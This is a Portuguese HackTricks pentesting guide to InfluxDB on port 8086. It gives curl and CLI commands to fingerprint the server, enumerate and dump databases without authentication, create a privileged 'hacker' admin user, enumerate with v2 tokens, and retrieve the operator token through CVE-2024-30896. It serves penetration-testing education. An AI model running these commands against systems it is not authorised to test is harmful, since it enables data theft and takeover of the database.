8086 - Pentesting InfluxDB

Tip

Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprenda e pratique Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Supporte o HackTricks

Informações Básicas

InfluxDB é um projeto open-source banco de dados de séries temporais (TSDB) desenvolvido pela InfluxData. TSDBs são otimizados para armazenar e servir dados de séries temporais, que consistem em pares timestamp-valor. Comparados a bancos de dados de uso geral, TSDBs oferecem melhorias significativas em espaço de armazenamento e desempenho para conjuntos de dados de séries temporais. Eles empregam algoritmos de compressão especializados e podem ser configurados para remover automaticamente dados antigos. Índices de banco de dados especializados também melhoram o desempenho de consultas.

Porta padrão: 8086

PORT     STATE SERVICE VERSION
8086/tcp open  http    InfluxDB http admin 1.7.5

Identificação e Versão (HTTP)

  • v1.x: GET /ping retorna status 204 e cabeçalhos como X-Influxdb-Version e X-Influxdb-Build.
  • v2.x+: GET /health retorna JSON com a versão do servidor e o status. Funciona sem auth.
# v1 banner grab
curl -i http://<host>:8086/ping

# v2/compat health
curl -s http://<host>:8086/health | jq .

Dica: instâncias expostas frequentemente também servem métricas no estilo Prometheus em /metrics.

Enumeração

Do ponto de vista de um pentester, este é outro banco de dados que pode armazenar informações sensíveis, então é interessante saber como extrair todos os dados.

Autenticação

InfluxDB pode exigir autenticação ou não

# Try unauthenticated CLI (v1 shell)
influx -host <host> -port 8086
> use _internal

Se você receber um erro como este: ERR: unable to parse authentication credentials isso significa que ele está esperando algumas credenciais.

influx –username influx –password influx_pass

Houve uma vulnerabilidade no influxdb que permitia contornar a autenticação: CVE-2019-20933

Enumeração Manual (v1 HTTP API / InfluxQL)

Mesmo quando não há CLI disponível, a HTTP API geralmente fica exposta na porta 8086.

# List databases (unauth)
curl -sG "http://<host>:8086/query" --data-urlencode "q=SHOW DATABASES"

# List retention policies of a DB
curl -sG "http://<host>:8086/query" --data-urlencode "db=telegraf" --data-urlencode "q=SHOW RETENTION POLICIES ON telegraf"

# List users (if auth disabled)
curl -sG "http://<host>:8086/query" --data-urlencode "q=SHOW USERS"

# List measurements (tables)
curl -sG "http://<host>:8086/query" --data-urlencode "db=telegraf" --data-urlencode "q=SHOW MEASUREMENTS"

# List field keys (columns)
curl -sG "http://<host>:8086/query" --data-urlencode "db=telegraf" --data-urlencode "q=SHOW FIELD KEYS"

# Dump data from a measurement
curl -sG "http://<host>:8086/query" \
--data-urlencode "db=telegraf" \
--data-urlencode 'q=SELECT * FROM "cpu" LIMIT 5' | jq .

# Force epoch timestamps (useful for tooling)
curl -sG "http://<host>:8086/query" \
--data-urlencode "epoch=ns" \
--data-urlencode "db=telegraf" \
--data-urlencode 'q=SELECT * FROM "cpu" LIMIT 5'

Warning

Em alguns testes com o authentication bypass, foi observado que o nome da tabela precisava estar entre aspas duplas, por exemplo: select * from "cpu"

Se a autenticação estiver desativada, você pode até criar usuários e escalate:

# Create an admin user (v1, auth disabled)
curl -sG "http://<host>:8086/query" \
--data-urlencode "q=CREATE USER hacker WITH PASSWORD 'P@ssw0rd!' WITH ALL PRIVILEGES"

As informações do seguinte exemplo de CLI foram retiradas de here.

Mostrar bancos de dados

Os bancos de dados encontrados são telegraf e internal (você encontrará este em todos os lugares)

> show databases
name: databases
name
----
telegraf
_internal

Exibir tables/measurements

A InfluxDB documentation explica que measurements no InfluxDB podem ser comparadas a tabelas SQL. A nomenclatura dessas measurements indica seu conteúdo, cada uma armazenando dados relevantes para uma entidade específica.

> show measurements
name: measurements
name
----
cpu
disk
diskio
kernel
mem
processes
swap
system

Mostrar colunas/chaves de campo

As chaves de campo são como as colunas do banco de dados

> show field keys
name: cpu
fieldKey         fieldType
--------         ---------
usage_guest      float
usage_guest_nice float
usage_idle       float
usage_iowait     float

name: disk
fieldKey     fieldType
--------     ---------
free         integer
inodes_free  integer
inodes_total integer
inodes_used  integer

[ ... more keys ...]

Dump Table

E finalmente você pode dump the table fazendo algo como

select * from cpu
name: cpu
time                cpu       host   usage_guest usage_guest_nice usage_idle        usage_iowait        usage_irq usage_nice usage_softirq        usage_steal usage_system        usage_user
----                ---       ----   ----------- ---------------- ----------        ------------        --------- ---------- -------------        ----------- ------------        ----------
1497018760000000000 cpu-total ubuntu 0           0                99.297893681046   0                   0         0          0                    0           0.35105315947842414 0.35105315947842414
1497018760000000000 cpu1      ubuntu 0           0                99.69909729188728 0                   0         0          0                    0           0.20060180541622202 0.10030090270811101

InfluxDB v2.x API (Token-based)

InfluxDB 2.x introduz token-based auth e uma nova API (ainda na porta 8086 por padrão). Se você obtiver um token (leaked logs, default deployments, backups) você pode enumerar:

# Basic org, bucket, and auth discovery
TOKEN="<token>"; H="-H Authorization: Token $TOKEN"

# Health & version
curl -s http://<host>:8086/health | jq .

# List organizations
curl -s $H http://<host>:8086/api/v2/organizations | jq .

# List buckets
curl -s $H 'http://<host>:8086/api/v2/buckets?limit=100' | jq .

# List authorizations (requires perms)
ORGID=<org_id>
curl -s $H "http://<host>:8086/api/v2/authorizations?orgID=$ORGID" | jq .

# Query data with Flux
curl -s $H -H 'Accept: application/csv' -H 'Content-Type: application/vnd.flux' \
-X POST http://<host>:8086/api/v2/query \
--data 'from(bucket:"telegraf") |> range(start:-1h) |> limit(n:5)'

Notas

  • Para v1.8+, existem alguns endpoints compatíveis com v2 (/api/v2/query, /api/v2/write, /health). Isso é útil se o servidor for v1 mas aceitar requisições no estilo v2.
  • No v2, o cabeçalho HTTP Authorization deve estar no formato Token <value>.

Enumeração automatizada

msf6 > use auxiliary/scanner/http/influxdb_enum

Vulnerabilidades recentes e escaladas de privilégio de interesse (últimos anos)

  • InfluxDB OSS 2.x até 2.7.11 — exposição do operator token (CVE-2024-30896). Sob condições específicas, um usuário autenticado com acesso de leitura ao recurso de authorization na organização padrão podia listar e recuperar o operator token da instância (por exemplo, via influx auth ls ou GET /api/v2/authorizations). Com esse token, o atacante pode administrar a instância (buckets, tokens, users) e acessar todos os dados entre as organizações. Atualize para uma build com o patch quando disponível e evite colocar usuários comuns na organização padrão. Teste rápido:
# Using a low-priv/all-access token tied to the default org
curl -s -H 'Authorization: Token <user_or_allAccess_token>' \
'http://<host>:8086/api/v2/authorizations?orgID=<default_org_id>' | jq .
# Look for entries of type "operator" and extract the raw token (if present)
  • Muitas implantações legadas 1.x ainda expõem /query e /write sem autenticação na Internet. Se a autenticação estiver desabilitada, você pode dump ou até modificar séries temporais à vontade; você também pode criar admin users como mostrado acima. Sempre verifique com a HTTP API mesmo que o CLI o bloqueie.

Referências

Tip

Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprenda e pratique Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Supporte o HackTricks